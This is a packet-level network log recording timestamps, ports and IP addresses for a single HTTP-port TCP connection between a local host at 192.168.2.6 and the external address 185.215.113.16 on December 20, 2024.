Dec 20, 2024 16:20:00.462097883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.462125063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.462137938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.462169886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.462202072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.462785959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.463152885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.463166952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.463196993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.463669062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.463721037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.463733912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.463761091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.463788986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.491345882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.491359949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.491373062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.491410017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.491519928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.491684914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.491698027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.491725922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.491754055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.492363930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.517793894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.517863989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.517915964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518053055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518066883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518199921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.518361092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518373966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518405914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.518915892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518934965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518949986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.518979073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.518996954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.519741058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.519803047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.519817114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.519860983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.520385981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.520450115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.520570993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.522855997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.522870064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.522883892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.522917986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.522953987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.523183107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.523298979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.523328066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.523406982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.523900986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.523950100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.580177069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.580203056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.580218077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.580233097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.580257893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.580307961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.580447912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.580462933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.580527067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.581024885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.581038952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.581053972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.581089973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.581811905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.581898928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.581916094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.582027912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.582583904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.582607031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.582686901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.582868099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.583372116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.583385944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.583400011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.583424091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.583436966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.584220886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.584235907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.584249973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.584290028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.584892988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.584907055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.584919930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.584949970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.584981918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.585696936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.585711002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.585717916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.585760117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.643750906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.643769026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.643781900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.643856049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.643975019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.644053936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.644058943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.644072056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.644211054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.644707918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.644748926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.644762039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.644992113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.645483971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.645550013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.645553112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.645565987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.645603895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.646266937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.646279097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.646291018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.646342039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.647027969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.647047043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.647059917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.647074938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.647120953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.647826910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.647847891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.647860050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.647978067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.648658037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.648670912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.648683071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.648706913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.648737907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.649346113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.649393082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.649406910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.649456978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.650105000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.650166988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.650264978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.650427103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.650907993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.650919914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.650933027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.650945902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.650974989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.651654005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.651738882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.651741982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.651751995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.651817083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.652549028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.652561903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.652575016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.652630091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.653175116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.653297901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.653311014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.653367996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.654053926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.654082060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.654098034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.654139996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.654869080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.654881954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.654895067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.654926062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.654938936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.655766010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.655786991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.655797958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.655875921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.656514883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.656527996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.656539917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.656574011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.656598091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.684346914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684362888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684376001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684389114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684401989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684413910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684417963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.684428930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.684472084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.710557938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.710621119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.710832119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.710853100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.710867882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.710916996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.711117029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.711131096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.711325884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.711675882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.711697102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.711709976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.711771965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.711771965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.712452888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.712466955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.712479115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.712517023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.713114023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.713167906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.716440916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716454029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716466904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716480017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716500998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716512918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716517925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.716526031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716578960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.716578960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.716622114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.772002935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.772097111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.772110939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.772229910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.772442102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.772454977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.772469044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.772494078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.772527933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.773224115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.773298979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.773313046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.773353100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.773979902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.774132013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.774144888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.774209976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.774209976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.774781942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.774843931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.774857044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.774888992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.775638103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.775695086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.775712967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.775726080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.775774956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.776367903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.776441097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.776454926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.776509047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.777209044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.777288914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.777302980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.777338982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.777367115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.777908087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.778029919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.778043032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.778086901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.835931063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.835997105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.836009979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.836064100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.836232901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.836419106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.836432934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.836452961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.836467028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.837054968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.837074995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.837089062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.837137938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.837852001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.837894917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.837897062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.837907076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.837955952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.838592052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.838680983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.838695049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.838738918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.839327097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.839376926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.839437962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.839451075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.839493036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.840248108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.840260029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.840274096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.840312004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.840948105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.840960026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.840972900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.841011047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.841037035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.841648102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.841762066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.841777086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.841814041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.842525959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.842538118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.842550039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.842582941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.842613935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.843327045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.843403101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.843415022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.843607903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.844064951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.844106913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.844120026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.844157934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.844172955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.844902039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.844999075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.845012903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.845055103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.845633984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.845679998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.845721960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.845735073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.845779896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.846451044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.846472025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.846482992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.846514940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.847146034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.847254992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.847268105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.847309113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.848041058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.848123074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.848135948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.848181009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.848823071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.848892927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.848987103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.848999023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.849037886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.875500917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.875519991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.875534058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:00.875646114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:00.875817060 CET	80	49828	185.215.113.16	192.168.2.6
